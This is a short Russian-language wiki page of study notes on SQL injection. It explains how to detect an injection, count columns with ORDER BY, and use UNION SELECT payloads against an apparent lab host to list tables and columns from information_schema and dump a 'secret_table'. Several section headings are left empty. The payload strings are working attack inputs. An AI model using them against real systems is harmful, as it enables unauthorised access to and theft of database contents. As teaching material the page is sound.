SQL-инъекции

Позволяет вмешиваться в запросы, которые приложение делает к своей базе данных. В частности, могут приводить к:

Показателем наличия инъекции могут являться ошибки, вызванные наличием управляющих символов (' " \). 

Комбинирование запросов:

Необходимо в следующем запросе получить такое же количество колонок. Поэтому сначала нужно узнать количество колонок. Используется технология добавления в запрос ORDER BY 1 то есть сортировка по номеру колонки. При ошибке понимаем количество колонок.

Например 8 колонок. Далее при запросе UNION SELECT 1.2.3.4.5.6.7.8 получим какой столбец попадает в какое поле формы. Затем вместо нужной цифры можно подставить нужный запрос, 

Стоит ставить символ комментария после строки запроса -- -

http://192.168.1.199:1337/receipt.php?orderID=-1 union select 1,2,3,4,5,6,7,8 -- -

Цифра 5 попала в поле Comments. Поэтому попробуем вывести в это поле название таблицы. 

-1 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables -- -

Объединение данных в одно поле возможно сделать за счет group_concat

-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.tables -- -

Столбцы в таблице 

-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.columns WHERE table_name='secret_table' -- -

Получение данных из таблицы 

-1 UNION SELECT 1,2,3,4,secret_column,6,7,8 FROM secret_table -- -

Примеры SQL-инъекций:

Дополнительная информация

Практика:

 


Revision #4
Created 28 September 2025 06:02:33 by Admin
Updated 28 September 2025 12:48:08 by Admin